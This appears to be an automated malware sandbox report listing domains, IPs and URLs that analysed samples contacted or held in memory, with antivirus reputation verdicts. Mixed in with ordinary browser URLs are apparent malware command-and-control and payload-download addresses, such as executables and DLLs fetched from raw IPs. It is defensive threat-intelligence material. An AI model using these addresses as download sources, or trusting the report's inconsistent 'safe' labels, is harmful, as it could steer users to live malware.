http://185.215.113.16/off/random.exeM	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/api_time	100%	Avira URL Cloud	malware
https://login.microsoftonline.comresource://gre/modules/NetUtil.sys.mjsbrowser.taskbar.previews.cach	0%	Avira URL Cloud	safe
https://cook-rain.sbs:443/apiZ	100%	Avira URL Cloud	malware
https://account.bellmedia.caUPDATE_REQUIREBUILTINCERTS_ensureFormattedHostVisibleALLOW_UNSANITIZED_C	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpCH	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apium61	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apimeSerialNumber	100%	Avira URL Cloud	malware
https://truecolors.firefox.comhttps://addons.mozilla.orgtestPermissionFromPrincipalmedia.autoplay.bl	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dlld	100%	Avira URL Cloud	malware
https://msn.comXIDv10	0%	Avira URL Cloud	safe
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403e	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeb1	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/nTH1	100%	Avira URL Cloud	malware
http://185.215.113.206V	0%	Avira URL Cloud	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/URIFixup.sys.mjshttps://e.mail.ru	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.185.68	true	false	high
star-mini.c10r.facebook.com	157.240.251.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.1	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
dyna.wikimedia.org	185.15.59.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
youtube.com	216.58.212.142	true	false	high
youtube-ui.l.google.com	142.250.186.110	true	false	high
reddit.map.fastly.net	151.101.193.140	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.161	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
https://sb.scorecardresearch.com/b?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
https://c.msn.com/c.gif?rnd=1731932970277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=6d6da51eb454486787bbdab97894ab08&activityId=6d6da51eb454486787bbdab97894ab08&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://sb.scorecardresearch.com/b2?rn=1731932970278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=12002C73CB2660100B753948CA036107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cook-rain.sbs/api_time	d7f88d1a57.exe, 0000001C.00000003.2385304067.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2385260950.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.comZ	firefox.exe, 00000030.00000002.2739571253.00000E0B90700000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/apiZ	d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.caUPDATE_REQUIREBUILTINCERTS_ensureFormattedHostVisibleALLOW_UNSANITIZED_C	firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2644239902.000001B4640D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiF6	d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://login.microsoftonline.comresource://gre/modules/NetUtil.sys.mjsbrowser.taskbar.previews.cach	firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/ws	e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000019.00000002.2758300660.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2716208429.000001B475C1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2715755487.000001B475B0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exev	skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com	firefox.exe, 00000030.00000002.2691144471.000001B473A6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748174410.0000340A8B800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2729171545.000001B47743F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apium61	d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2638459837.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000030.00000003.2573129546.000001B473C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573741035.000001B473C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2571185867.000001B473A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/sets	firefox.exe, 00000030.00000002.2649771173.000001B46F826000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 00000030.00000002.2731298182.000001B4777F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2720067599.000001B47617E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeM	skotes.exe, 00000019.00000002.2758300660.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://api.accounts.firefox.com/v1	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/Local	e9987cd408.exe, 0000001E.00000002.2477951066.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000030.00000002.2649771173.000001B46F826000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	file.exe, 00000000.00000003.1849603817.0000000023B43000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpCH	e9987cd408.exe, 0000002B.00000002.2671773681.000000000185E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://email.seznam.cz/newMessageScreen?mailto=%sU	firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.widevine.com/	firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 00000030.00000002.2649771173.000001B46F861000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	d7f88d1a57.exe, 0000001C.00000003.2415795837.0000000005754000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2650450776.0000000005708000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2714304061.000001B47592F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apimeSerialNumber	d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206V	e9987cd408.exe, 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472626000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dlld	file.exe, 00000000.00000002.1945261732.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000030.00000002.2691144471.000001B473A6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000030.00000002.2717101328.000001B475D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://detectportal.firefox.comP	firefox.exe, 00000030.00000002.2720067599.000001B476103000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeb1	skotes.exe, 00000019.00000002.2758300660.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000030.00000002.2715755487.000001B475B11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2716208429.000001B475C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Somehow	firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/nTH1	d7f88d1a57.exe, 0000001C.00000003.2452446312.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://msn.comXIDv10	d7f88d1a57.exe, 0000001C.00000003.2387771613.00000000056D1000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2389021711.00000000056CA000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2388422416.00000000056D7000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2388358591.00000000056C7000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2615429848.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2614276173.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	d7f88d1a57.exe, 0000001C.00000003.2638571328.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403e	a4be4c0327.exe, 0000001A.00000002.2768952285.000000000170E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://truecolors.firefox.comhttps://addons.mozilla.orgtestPermissionFromPrincipalmedia.autoplay.bl	firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/strings	firefox.exe, 00000030.00000002.2644239902.000001B464003000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
